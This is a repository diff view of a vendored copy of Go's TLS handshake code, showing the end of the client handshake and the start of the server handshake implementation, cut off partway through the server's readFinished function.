|
||||
ocspStapling: true,
|
||||
serverName: c.config.ServerName,
|
||||
supportedCurves: []uint16{curveP256, curveP384, curveP521},
|
||||
supportedPoints: []uint8{pointFormatUncompressed},
|
||||
nextProtoNeg: len(c.config.NextProtos) > 0,
|
||||
}
|
||||
|
||||
possibleCipherSuites := c.config.cipherSuites()
|
||||
hello.cipherSuites = make([]uint16, 0, len(possibleCipherSuites))
|
||||
|
||||
NextCipherSuite:
|
||||
for _, suiteId := range possibleCipherSuites {
|
||||
for _, suite := range cipherSuites {
|
||||
if suite.id != suiteId {
|
||||
continue
|
||||
}
|
||||
// Don't advertise TLS 1.2-only cipher suites unless
|
||||
// we're attempting TLS 1.2.
|
||||
if hello.vers < VersionTLS12 && suite.flags&suiteTLS12 != 0 {
|
||||
continue
|
||||
}
|
||||
hello.cipherSuites = append(hello.cipherSuites, suiteId)
|
||||
continue NextCipherSuite
|
||||
}
|
||||
}
|
||||
|
||||
t := uint32(c.config.time().Unix())
|
||||
hello.random[0] = byte(t >> 24)
|
||||
hello.random[1] = byte(t >> 16)
|
||||
hello.random[2] = byte(t >> 8)
|
||||
hello.random[3] = byte(t)
|
||||
_, err := io.ReadFull(c.config.rand(), hello.random[4:])
|
||||
if err != nil {
|
||||
c.sendAlert(alertInternalError)
|
||||
return errors.New("short read from Rand")
|
||||
}
|
||||
|
||||
if hello.vers >= VersionTLS12 {
|
||||
hello.signatureAndHashes = supportedSKXSignatureAlgorithms
|
||||
}
|
||||
|
||||
c.writeRecord(recordTypeHandshake, hello.marshal())
|
||||
|
||||
msg, err := c.readHandshake()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
serverHello, ok := msg.(*serverHelloMsg)
|
||||
if !ok {
|
||||
return c.sendAlert(alertUnexpectedMessage)
|
||||
}
|
||||
|
||||
vers, ok := c.config.mutualVersion(serverHello.vers)
|
||||
if !ok || vers < VersionTLS10 {
|
||||
// TLS 1.0 is the minimum version supported as a client.
|
||||
return c.sendAlert(alertProtocolVersion)
|
||||
}
|
||||
c.vers = vers
|
||||
c.haveVers = true
|
||||
|
||||
finishedHash := newFinishedHash(c.vers)
|
||||
finishedHash.Write(hello.marshal())
|
||||
finishedHash.Write(serverHello.marshal())
|
||||
|
||||
if serverHello.compressionMethod != compressionNone {
|
||||
return c.sendAlert(alertUnexpectedMessage)
|
||||
}
|
||||
|
||||
if !hello.nextProtoNeg && serverHello.nextProtoNeg {
|
||||
c.sendAlert(alertHandshakeFailure)
|
||||
return errors.New("server advertised unrequested NPN")
|
||||
}
|
||||
|
||||
suite := mutualCipherSuite(c.config.cipherSuites(), serverHello.cipherSuite)
|
||||
if suite == nil {
|
||||
return c.sendAlert(alertHandshakeFailure)
|
||||
}
|
||||
|
||||
msg, err = c.readHandshake()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
certMsg, ok := msg.(*certificateMsg)
|
||||
if !ok || len(certMsg.certificates) == 0 {
|
||||
return c.sendAlert(alertUnexpectedMessage)
|
||||
}
|
||||
finishedHash.Write(certMsg.marshal())
|
||||
|
||||
certs := make([]*x509.Certificate, len(certMsg.certificates))
|
||||
for i, asn1Data := range certMsg.certificates {
|
||||
cert, err := x509.ParseCertificate(asn1Data)
|
||||
if err != nil {
|
||||
c.sendAlert(alertBadCertificate)
|
||||
return errors.New("failed to parse certificate from server: " + err.Error())
|
||||
}
|
||||
certs[i] = cert
|
||||
}
|
||||
|
||||
if !c.config.InsecureSkipVerify {
|
||||
opts := x509.VerifyOptions{
|
||||
Roots: c.config.RootCAs,
|
||||
CurrentTime: c.config.time(),
|
||||
DNSName: c.config.ServerName,
|
||||
Intermediates: x509.NewCertPool(),
|
||||
}
|
||||
|
||||
for i, cert := range certs {
|
||||
if i == 0 {
|
||||
continue
|
||||
}
|
||||
opts.Intermediates.AddCert(cert)
|
||||
}
|
||||
c.verifiedChains, err = certs[0].Verify(opts)
|
||||
if err != nil {
|
||||
c.sendAlert(alertBadCertificate)
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
switch certs[0].PublicKey.(type) {
|
||||
case *rsa.PublicKey, *ecdsa.PublicKey:
|
||||
break
|
||||
default:
|
||||
return c.sendAlert(alertUnsupportedCertificate)
|
||||
}
|
||||
|
||||
c.peerCertificates = certs
|
||||
|
||||
if serverHello.ocspStapling {
|
||||
msg, err = c.readHandshake()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
cs, ok := msg.(*certificateStatusMsg)
|
||||
if !ok {
|
||||
return c.sendAlert(alertUnexpectedMessage)
|
||||
}
|
||||
finishedHash.Write(cs.marshal())
|
||||
|
||||
if cs.statusType == statusTypeOCSP {
|
||||
c.ocspResponse = cs.response
|
||||
}
|
||||
}
|
||||
|
||||
msg, err = c.readHandshake()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
keyAgreement := suite.ka(c.vers)
|
||||
|
||||
skx, ok := msg.(*serverKeyExchangeMsg)
|
||||
if ok {
|
||||
finishedHash.Write(skx.marshal())
|
||||
err = keyAgreement.processServerKeyExchange(c.config, hello, serverHello, certs[0], skx)
|
||||
if err != nil {
|
||||
c.sendAlert(alertUnexpectedMessage)
|
||||
return err
|
||||
}
|
||||
|
||||
msg, err = c.readHandshake()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
var chainToSend *Certificate
|
||||
var certRequested bool
|
||||
certReq, ok := msg.(*certificateRequestMsg)
|
||||
if ok {
|
||||
certRequested = true
|
||||
|
||||
// RFC 4346 on the certificateAuthorities field:
|
||||
// A list of the distinguished names of acceptable certificate
|
||||
// authorities. These distinguished names may specify a desired
|
||||
// distinguished name for a root CA or for a subordinate CA;
|
||||
// thus, this message can be used to describe both known roots
|
||||
// and a desired authorization space. If the
|
||||
// certificate_authorities list is empty then the client MAY
|
||||
// send any certificate of the appropriate
|
||||
// ClientCertificateType, unless there is some external
|
||||
// arrangement to the contrary.
|
||||
|
||||
finishedHash.Write(certReq.marshal())
|
||||
|
||||
var rsaAvail, ecdsaAvail bool
|
||||
for _, certType := range certReq.certificateTypes {
|
||||
switch certType {
|
||||
case certTypeRSASign:
|
||||
rsaAvail = true
|
||||
case certTypeECDSASign:
|
||||
ecdsaAvail = true
|
||||
}
|
||||
}
|
||||
|
||||
// We need to search our list of client certs for one
|
||||
// where SignatureAlgorithm is RSA and the Issuer is in
|
||||
// certReq.certificateAuthorities
|
||||
findCert:
|
||||
for i, chain := range c.config.Certificates {
|
||||
if !rsaAvail && !ecdsaAvail {
|
||||
continue
|
||||
}
|
||||
|
||||
for j, cert := range chain.Certificate {
|
||||
x509Cert := chain.Leaf
|
||||
// parse the certificate if this isn't the leaf
|
||||
// node, or if chain.Leaf was nil
|
||||
if j != 0 || x509Cert == nil {
|
||||
if x509Cert, err = x509.ParseCertificate(cert); err != nil {
|
||||
c.sendAlert(alertInternalError)
|
||||
return errors.New("tls: failed to parse client certificate #" + strconv.Itoa(i) + ": " + err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
switch {
|
||||
case rsaAvail && x509Cert.PublicKeyAlgorithm == x509.RSA:
|
||||
case ecdsaAvail && x509Cert.PublicKeyAlgorithm == x509.ECDSA:
|
||||
default:
|
||||
continue findCert
|
||||
}
|
||||
|
||||
if len(certReq.certificateAuthorities) == 0 {
|
||||
// they gave us an empty list, so just take the
|
||||
// first RSA cert from c.config.Certificates
|
||||
chainToSend = &chain
|
||||
break findCert
|
||||
}
|
||||
|
||||
for _, ca := range certReq.certificateAuthorities {
|
||||
if bytes.Equal(x509Cert.RawIssuer, ca) {
|
||||
chainToSend = &chain
|
||||
break findCert
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
msg, err = c.readHandshake()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
shd, ok := msg.(*serverHelloDoneMsg)
|
||||
if !ok {
|
||||
return c.sendAlert(alertUnexpectedMessage)
|
||||
}
|
||||
finishedHash.Write(shd.marshal())
|
||||
|
||||
// If the server requested a certificate then we have to send a
|
||||
// Certificate message, even if it's empty because we don't have a
|
||||
// certificate to send.
|
||||
if certRequested {
|
||||
certMsg = new(certificateMsg)
|
||||
if chainToSend != nil {
|
||||
certMsg.certificates = chainToSend.Certificate
|
||||
}
|
||||
finishedHash.Write(certMsg.marshal())
|
||||
c.writeRecord(recordTypeHandshake, certMsg.marshal())
|
||||
}
|
||||
|
||||
preMasterSecret, ckx, err := keyAgreement.generateClientKeyExchange(c.config, hello, certs[0])
|
||||
if err != nil {
|
||||
c.sendAlert(alertInternalError)
|
||||
return err
|
||||
}
|
||||
if ckx != nil {
|
||||
finishedHash.Write(ckx.marshal())
|
||||
c.writeRecord(recordTypeHandshake, ckx.marshal())
|
||||
}
|
||||
|
||||
if chainToSend != nil {
|
||||
var signed []byte
|
||||
certVerify := &certificateVerifyMsg{
|
||||
hasSignatureAndHash: c.vers >= VersionTLS12,
|
||||
}
|
||||
|
||||
switch key := c.config.Certificates[0].PrivateKey.(type) {
|
||||
case *ecdsa.PrivateKey:
|
||||
digest, _, hashId := finishedHash.hashForClientCertificate(signatureECDSA)
|
||||
r, s, err := ecdsa.Sign(c.config.rand(), key, digest)
|
||||
if err == nil {
|
||||
signed, err = asn1.Marshal(ecdsaSignature{r, s})
|
||||
}
|
||||
certVerify.signatureAndHash.signature = signatureECDSA
|
||||
certVerify.signatureAndHash.hash = hashId
|
||||
case *rsa.PrivateKey:
|
||||
digest, hashFunc, hashId := finishedHash.hashForClientCertificate(signatureRSA)
|
||||
signed, err = rsa.SignPKCS1v15(c.config.rand(), key, hashFunc, digest)
|
||||
certVerify.signatureAndHash.signature = signatureRSA
|
||||
certVerify.signatureAndHash.hash = hashId
|
||||
default:
|
||||
err = errors.New("unknown private key type")
|
||||
}
|
||||
if err != nil {
|
||||
return c.sendAlert(alertInternalError)
|
||||
}
|
||||
certVerify.signature = signed
|
||||
|
||||
finishedHash.Write(certVerify.marshal())
|
||||
c.writeRecord(recordTypeHandshake, certVerify.marshal())
|
||||
}
|
||||
|
||||
masterSecret := masterFromPreMasterSecret(c.vers, preMasterSecret, hello.random, serverHello.random)
|
||||
clientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV :=
|
||||
keysFromMasterSecret(c.vers, masterSecret, hello.random, serverHello.random, suite.macLen, suite.keyLen, suite.ivLen)
|
||||
|
||||
var clientCipher interface{}
|
||||
var clientHash macFunction
|
||||
if suite.cipher != nil {
|
||||
clientCipher = suite.cipher(clientKey, clientIV, false /* not for reading */)
|
||||
clientHash = suite.mac(c.vers, clientMAC)
|
||||
} else {
|
||||
clientCipher = suite.aead(clientKey, clientIV)
|
||||
}
|
||||
c.out.prepareCipherSpec(c.vers, clientCipher, clientHash)
|
||||
c.writeRecord(recordTypeChangeCipherSpec, []byte{1})
|
||||
|
||||
if serverHello.nextProtoNeg {
|
||||
nextProto := new(nextProtoMsg)
|
||||
proto, fallback := mutualProtocol(c.config.NextProtos, serverHello.nextProtos)
|
||||
nextProto.proto = proto
|
||||
c.clientProtocol = proto
|
||||
c.clientProtocolFallback = fallback
|
||||
|
||||
finishedHash.Write(nextProto.marshal())
|
||||
c.writeRecord(recordTypeHandshake, nextProto.marshal())
|
||||
}
|
||||
|
||||
finished := new(finishedMsg)
|
||||
finished.verifyData = finishedHash.clientSum(masterSecret)
|
||||
finishedHash.Write(finished.marshal())
|
||||
c.writeRecord(recordTypeHandshake, finished.marshal())
|
||||
|
||||
var serverCipher interface{}
|
||||
var serverHash macFunction
|
||||
if suite.cipher != nil {
|
||||
serverCipher = suite.cipher(serverKey, serverIV, true /* for reading */)
|
||||
serverHash = suite.mac(c.vers, serverMAC)
|
||||
} else {
|
||||
serverCipher = suite.aead(serverKey, serverIV)
|
||||
}
|
||||
c.in.prepareCipherSpec(c.vers, serverCipher, serverHash)
|
||||
c.readRecord(recordTypeChangeCipherSpec)
|
||||
if err := c.error(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
msg, err = c.readHandshake()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
serverFinished, ok := msg.(*finishedMsg)
|
||||
if !ok {
|
||||
return c.sendAlert(alertUnexpectedMessage)
|
||||
}
|
||||
|
||||
verify := finishedHash.serverSum(masterSecret)
|
||||
if len(verify) != len(serverFinished.verifyData) ||
|
||||
subtle.ConstantTimeCompare(verify, serverFinished.verifyData) != 1 {
|
||||
return c.sendAlert(alertHandshakeFailure)
|
||||
}
|
||||
|
||||
c.handshakeComplete = true
|
||||
c.cipherSuite = suite.id
|
||||
return nil
|
||||
}
|
||||
|
||||
// mutualProtocol finds the mutual Next Protocol Negotiation protocol given the
|
||||
// set of client and server supported protocols. The set of client supported
|
||||
// protocols must not be empty. It returns the resulting protocol and flag
|
||||
// indicating if the fallback case was reached.
|
||||
func mutualProtocol(clientProtos, serverProtos []string) (string, bool) {
|
||||
for _, s := range serverProtos {
|
||||
for _, c := range clientProtos {
|
||||
if s == c {
|
||||
return s, false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return clientProtos[0], true
|
||||
}
|
||||
+1293
File diff suppressed because it is too large.
Load diff
+638
@@ -0,0 +1,638 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto"
|
||||
"crypto/ecdsa"
|
||||
"crypto/rsa"
|
||||
"crypto/subtle"
|
||||
"crypto/x509"
|
||||
"encoding/asn1"
|
||||
"errors"
|
||||
"io"
|
||||
)
|
||||
|
||||
// serverHandshakeState contains details of a server handshake in progress.
|
||||
// It's discarded once the handshake has completed.
|
||||
type serverHandshakeState struct {
|
||||
c *Conn
|
||||
clientHello *clientHelloMsg
|
||||
hello *serverHelloMsg
|
||||
suite *cipherSuite
|
||||
ellipticOk bool
|
||||
ecdsaOk bool
|
||||
sessionState *sessionState
|
||||
finishedHash finishedHash
|
||||
masterSecret []byte
|
||||
certsFromClient [][]byte
|
||||
cert *Certificate
|
||||
}
|
||||
|
||||
// serverHandshake performs a TLS handshake as a server.
|
||||
func (c *Conn) serverHandshake() error {
|
||||
config := c.config
|
||||
|
||||
// If this is the first server handshake, we generate a random key to
|
||||
// encrypt the tickets with.
|
||||
config.serverInitOnce.Do(config.serverInit)
|
||||
|
||||
hs := serverHandshakeState{
|
||||
c: c,
|
||||
}
|
||||
isResume, err := hs.readClientHello()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// For an overview of TLS handshaking, see https://tools.ietf.org/html/rfc5246#section-7.3
|
||||
if isResume {
|
||||
// The client has included a session ticket and so we do an abbreviated handshake.
|
||||
if err := hs.doResumeHandshake(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := hs.establishKeys(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := hs.sendFinished(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := hs.readFinished(); err != nil {
|
||||
return err
|
||||
}
|
||||
c.didResume = true
|
||||
} else {
|
||||
// The client didn't include a session ticket, or it wasn't
|
||||
// valid so we do a full handshake.
|
||||
if err := hs.doFullHandshake(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := hs.establishKeys(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := hs.readFinished(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := hs.sendSessionTicket(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := hs.sendFinished(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
c.handshakeComplete = true
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// readClientHello reads a ClientHello message from the client and decides
|
||||
// whether we will perform session resumption.
|
||||
func (hs *serverHandshakeState) readClientHello() (isResume bool, err error) {
|
||||
config := hs.c.config
|
||||
c := hs.c
|
||||
|
||||
msg, err := c.readHandshake()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
var ok bool
|
||||
hs.clientHello, ok = msg.(*clientHelloMsg)
|
||||
if !ok {
|
||||
return false, c.sendAlert(alertUnexpectedMessage)
|
||||
}
|
||||
c.vers, ok = config.mutualVersion(hs.clientHello.vers)
|
||||
if !ok {
|
||||
return false, c.sendAlert(alertProtocolVersion)
|
||||
}
|
||||
c.haveVers = true
|
||||
|
||||
hs.finishedHash = newFinishedHash(c.vers)
|
||||
hs.finishedHash.Write(hs.clientHello.marshal())
|
||||
|
||||
hs.hello = new(serverHelloMsg)
|
||||
|
||||
supportedCurve := false
|
||||
Curves:
|
||||
for _, curve := range hs.clientHello.supportedCurves {
|
||||
switch curve {
|
||||
case curveP256, curveP384, curveP521:
|
||||
supportedCurve = true
|
||||
break Curves
|
||||
}
|
||||
}
|
||||
|
||||
supportedPointFormat := false
|
||||
for _, pointFormat := range hs.clientHello.supportedPoints {
|
||||
if pointFormat == pointFormatUncompressed {
|
||||
supportedPointFormat = true
|
||||
break
|
||||
}
|
||||
}
|
||||
hs.ellipticOk = supportedCurve && supportedPointFormat
|
||||
|
||||
foundCompression := false
|
||||
// We only support null compression, so check that the client offered it.
|
||||
for _, compression := range hs.clientHello.compressionMethods {
|
||||
if compression == compressionNone {
|
||||
foundCompression = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !foundCompression {
|
||||
return false, c.sendAlert(alertHandshakeFailure)
|
||||
}
|
||||
|
||||
hs.hello.vers = c.vers
|
||||
t := uint32(config.time().Unix())
|
||||
hs.hello.random = make([]byte, 32)
|
||||
hs.hello.random[0] = byte(t >> 24)
|
||||
hs.hello.random[1] = byte(t >> 16)
|
||||
hs.hello.random[2] = byte(t >> 8)
|
||||
hs.hello.random[3] = byte(t)
|
||||
_, err = io.ReadFull(config.rand(), hs.hello.random[4:])
|
||||
if err != nil {
|
||||
return false, c.sendAlert(alertInternalError)
|
||||
}
|
||||
hs.hello.compressionMethod = compressionNone
|
||||
if len(hs.clientHello.serverName) > 0 {
|
||||
c.serverName = hs.clientHello.serverName
|
||||
}
|
||||
// Although sending an empty NPN extension is reasonable, Firefox has
|
||||
// had a bug around this. Best to send nothing at all if
|
||||
// config.NextProtos is empty. See
|
||||
// https://code.google.com/p/go/issues/detail?id=5445.
|
||||
if hs.clientHello.nextProtoNeg && len(config.NextProtos) > 0 {
|
||||
hs.hello.nextProtoNeg = true
|
||||
hs.hello.nextProtos = config.NextProtos
|
||||
}
|
||||
|
||||
if len(config.Certificates) == 0 {
|
||||
return false, c.sendAlert(alertInternalError)
|
||||
}
|
||||
hs.cert = &config.Certificates[0]
|
||||
if len(hs.clientHello.serverName) > 0 {
|
||||
hs.cert = config.getCertificateForName(hs.clientHello.serverName)
|
||||
}
|
||||
|
||||
_, hs.ecdsaOk = hs.cert.PrivateKey.(*ecdsa.PrivateKey)
|
||||
|
||||
if hs.checkForResumption() {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
var preferenceList, supportedList []uint16
|
||||
if c.config.PreferServerCipherSuites {
|
||||
preferenceList = c.config.cipherSuites()
|
||||
supportedList = hs.clientHello.cipherSuites
|
||||
} else {
|
||||
preferenceList = hs.clientHello.cipherSuites
|
||||
supportedList = c.config.cipherSuites()
|
||||
}
|
||||
|
||||
for _, id := range preferenceList {
|
||||
if hs.suite = c.tryCipherSuite(id, supportedList, c.vers, hs.ellipticOk, hs.ecdsaOk); hs.suite != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if hs.suite == nil {
|
||||
return false, c.sendAlert(alertHandshakeFailure)
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// checkForResumption returns true if we should perform resumption on this connection.
|
||||
func (hs *serverHandshakeState) checkForResumption() bool {
|
||||
c := hs.c
|
||||
|
||||
var ok bool
|
||||
if hs.sessionState, ok = c.decryptTicket(hs.clientHello.sessionTicket); !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
if hs.sessionState.vers > hs.clientHello.vers {
|
||||
return false
|
||||
}
|
||||
if vers, ok := c.config.mutualVersion(hs.sessionState.vers); !ok || vers != hs.sessionState.vers {
|
||||
return false
|
||||
}
|
||||
|
||||
cipherSuiteOk := false
|
||||
// Check that the client is still offering the ciphersuite in the session.
|
||||
for _, id := range hs.clientHello.cipherSuites {
|
||||
if id == hs.sessionState.cipherSuite {
|
||||
cipherSuiteOk = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !cipherSuiteOk {
|
||||
return false
|
||||
}
|
||||
|
||||
// Check that we also support the ciphersuite from the session.
|
||||
hs.suite = c.tryCipherSuite(hs.sessionState.cipherSuite, c.config.cipherSuites(), hs.sessionState.vers, hs.ellipticOk, hs.ecdsaOk)
|
||||
if hs.suite == nil {
|
||||
return false
|
||||
}
|
||||
|
||||
sessionHasClientCerts := len(hs.sessionState.certificates) != 0
|
||||
needClientCerts := c.config.ClientAuth == RequireAnyClientCert || c.config.ClientAuth == RequireAndVerifyClientCert
|
||||
if needClientCerts && !sessionHasClientCerts {
|
||||
return false
|
||||
}
|
||||
if sessionHasClientCerts && c.config.ClientAuth == NoClientCert {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func (hs *serverHandshakeState) doResumeHandshake() error {
|
||||
c := hs.c
|
||||
|
||||
hs.hello.cipherSuite = hs.suite.id
|
||||
// We echo the client's session ID in the ServerHello to let it know
|
||||
// that we're doing a resumption.
|
||||
hs.hello.sessionId = hs.clientHello.sessionId
|
||||
hs.finishedHash.Write(hs.hello.marshal())
|
||||
c.writeRecord(recordTypeHandshake, hs.hello.marshal())
|
||||
|
||||
if len(hs.sessionState.certificates) > 0 {
|
||||
if _, err := hs.processCertsFromClient(hs.sessionState.certificates); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
hs.masterSecret = hs.sessionState.masterSecret
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (hs *serverHandshakeState) doFullHandshake() error {
|
||||
config := hs.c.config
|
||||
c := hs.c
|
||||
|
||||
if hs.clientHello.ocspStapling && len(hs.cert.OCSPStaple) > 0 {
|
||||
hs.hello.ocspStapling = true
|
||||
}
|
||||
|
||||
hs.hello.ticketSupported = hs.clientHello.ticketSupported && !config.SessionTicketsDisabled
|
||||
hs.hello.cipherSuite = hs.suite.id
|
||||
hs.finishedHash.Write(hs.hello.marshal())
|
||||
c.writeRecord(recordTypeHandshake, hs.hello.marshal())
|
||||
|
||||
certMsg := new(certificateMsg)
|
||||
certMsg.certificates = hs.cert.Certificate
|
||||
hs.finishedHash.Write(certMsg.marshal())
|
||||
c.writeRecord(recordTypeHandshake, certMsg.marshal())
|
||||
|
||||
if hs.hello.ocspStapling {
|
||||
certStatus := new(certificateStatusMsg)
|
||||
certStatus.statusType = statusTypeOCSP
|
||||
certStatus.response = hs.cert.OCSPStaple
|
||||
hs.finishedHash.Write(certStatus.marshal())
|
||||
c.writeRecord(recordTypeHandshake, certStatus.marshal())
|
||||
}
|
||||
|
||||
keyAgreement := hs.suite.ka(c.vers)
|
||||
skx, err := keyAgreement.generateServerKeyExchange(config, hs.cert, hs.clientHello, hs.hello)
|
||||
if err != nil {
|
||||
c.sendAlert(alertHandshakeFailure)
|
||||
return err
|
||||
}
|
||||
if skx != nil {
|
||||
hs.finishedHash.Write(skx.marshal())
|
||||
c.writeRecord(recordTypeHandshake, skx.marshal())
|
||||
}
|
||||
|
||||
if config.ClientAuth >= RequestClientCert {
|
||||
// Request a client certificate
|
||||
certReq := new(certificateRequestMsg)
|
||||
certReq.certificateTypes = []byte{
|
||||
byte(certTypeRSASign),
|
||||
byte(certTypeECDSASign),
|
||||
}
|
||||
if c.vers >= VersionTLS12 {
|
||||
certReq.hasSignatureAndHash = true
|
||||
certReq.signatureAndHashes = supportedClientCertSignatureAlgorithms
|
||||
}
|
||||
|
||||
// An empty list of certificateAuthorities signals to
|
||||
// the client that it may send any certificate in response
|
||||
// to our request. When we know the CAs we trust, then
|
||||
// we can send them down, so that the client can choose
|
||||
// an appropriate certificate to give to us.
|
||||
if config.ClientCAs != nil {
|
||||
certReq.certificateAuthorities = config.ClientCAs.Subjects()
|
||||
}
|
||||
hs.finishedHash.Write(certReq.marshal())
|
||||
c.writeRecord(recordTypeHandshake, certReq.marshal())
|
||||
}
|
||||
|
||||
helloDone := new(serverHelloDoneMsg)
|
||||
hs.finishedHash.Write(helloDone.marshal())
|
||||
c.writeRecord(recordTypeHandshake, helloDone.marshal())
|
||||
|
||||
var pub crypto.PublicKey // public key for client auth, if any
|
||||
|
||||
msg, err := c.readHandshake()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var ok bool
|
||||
// If we requested a client certificate, then the client must send a
|
||||
// certificate message, even if it's empty.
|
||||
if config.ClientAuth >= RequestClientCert {
|
||||
if certMsg, ok = msg.(*certificateMsg); !ok {
|
||||
return c.sendAlert(alertHandshakeFailure)
|
||||
}
|
||||
hs.finishedHash.Write(certMsg.marshal())
|
||||
|
||||
if len(certMsg.certificates) == 0 {
|
||||
// The client didn't actually send a certificate
|
||||
switch config.ClientAuth {
|
||||
case RequireAnyClientCert, RequireAndVerifyClientCert:
|
||||
c.sendAlert(alertBadCertificate)
|
||||
return errors.New("tls: client didn't provide a certificate")
|
||||
}
|
||||
}
|
||||
|
||||
pub, err = hs.processCertsFromClient(certMsg.certificates)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
msg, err = c.readHandshake()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// Get client key exchange
|
||||
ckx, ok := msg.(*clientKeyExchangeMsg)
|
||||
if !ok {
|
||||
return c.sendAlert(alertUnexpectedMessage)
|
||||
}
|
||||
hs.finishedHash.Write(ckx.marshal())
|
||||
|
||||
// If we received a client cert in response to our certificate request message,
|
||||
// the client will send us a certificateVerifyMsg immediately after the
|
||||
// clientKeyExchangeMsg. This message is a digest of all preceding
|
||||
// handshake-layer messages that is signed using the private key corresponding
|
||||
// to the client's certificate. This allows us to verify that the client is in
|
||||
// possession of the private key of the certificate.
|
||||
if len(c.peerCertificates) > 0 {
|
||||
msg, err = c.readHandshake()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
certVerify, ok := msg.(*certificateVerifyMsg)
|
||||
if !ok {
|
||||
return c.sendAlert(alertUnexpectedMessage)
|
||||
}
|
||||
|
||||
switch key := pub.(type) {
|
||||
case *ecdsa.PublicKey:
|
||||
ecdsaSig := new(ecdsaSignature)
|
||||
if _, err = asn1.Unmarshal(certVerify.signature, ecdsaSig); err != nil {
|
||||
break
|
||||
}
|
||||
if ecdsaSig.R.Sign() <= 0 || ecdsaSig.S.Sign() <= 0 {
|
||||
err = errors.New("ECDSA signature contained zero or negative values")
|
||||
break
|
||||
}
|
||||
digest, _, _ := hs.finishedHash.hashForClientCertificate(signatureECDSA)
|
||||
if !ecdsa.Verify(key, digest, ecdsaSig.R, ecdsaSig.S) {
|
||||
err = errors.New("ECDSA verification failure")
|
||||
break
|
||||
}
|
||||
case *rsa.PublicKey:
|
||||
digest, hashFunc, _ := hs.finishedHash.hashForClientCertificate(signatureRSA)
|
||||
err = rsa.VerifyPKCS1v15(key, hashFunc, digest, certVerify.signature)
|
||||
}
|
||||
if err != nil {
|
||||
c.sendAlert(alertBadCertificate)
|
||||
return errors.New("could not validate signature of connection nonces: " + err.Error())
|
||||
}
|
||||
|
||||
hs.finishedHash.Write(certVerify.marshal())
|
||||
}
|
||||
|
||||
preMasterSecret, err := keyAgreement.processClientKeyExchange(config, hs.cert, ckx, c.vers)
|
||||
if err != nil {
|
||||
c.sendAlert(alertHandshakeFailure)
|
||||
return err
|
||||
}
|
||||
hs.masterSecret = masterFromPreMasterSecret(c.vers, preMasterSecret, hs.clientHello.random, hs.hello.random)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (hs *serverHandshakeState) establishKeys() error {
|
||||
c := hs.c
|
||||
|
||||
clientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV :=
|
||||
keysFromMasterSecret(c.vers, hs.masterSecret, hs.clientHello.random, hs.hello.random, hs.suite.macLen, hs.suite.keyLen, hs.suite.ivLen)
|
||||
|
||||
var clientCipher, serverCipher interface{}
|
||||
var clientHash, serverHash macFunction
|
||||
|
||||
if hs.suite.aead == nil {
|
||||
clientCipher = hs.suite.cipher(clientKey, clientIV, true /* for reading */)
|
||||
clientHash = hs.suite.mac(c.vers, clientMAC)
|
||||
serverCipher = hs.suite.cipher(serverKey, serverIV, false /* not for reading */)
|
||||
serverHash = hs.suite.mac(c.vers, serverMAC)
|
||||
} else {
|
||||
clientCipher = hs.suite.aead(clientKey, clientIV)
|
||||
serverCipher = hs.suite.aead(serverKey, serverIV)
|
||||
}
|
||||
|
||||
c.in.prepareCipherSpec(c.vers, clientCipher, clientHash)
|
||||
c.out.prepareCipherSpec(c.vers, serverCipher, serverHash)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (hs *serverHandshakeState) readFinished() error {
|
||||
c := hs.c
|
||||
|
||||
c.readRecord(recordTypeChangeCipherSpec)
|
||||
if err := c.error(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if hs.hello.nextProtoNeg {
|
||||
msg, err := c.readHandshake()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
nextProto, ok := msg.(*nextProtoMsg)
|
||||
if !ok {
|
||||
return c.sendAlert(alertUnexpectedMessage)
|
||||
}
|
||||
hs.finishedHash.Write(nextProto.marshal())
|
||||
c.clientProtocol = nextProto.proto
|
||||
}
|
||||
|
||||
msg, err := c.readHandshake()
|
||||
if err != nil {
|
||||
return err
|
||||
}
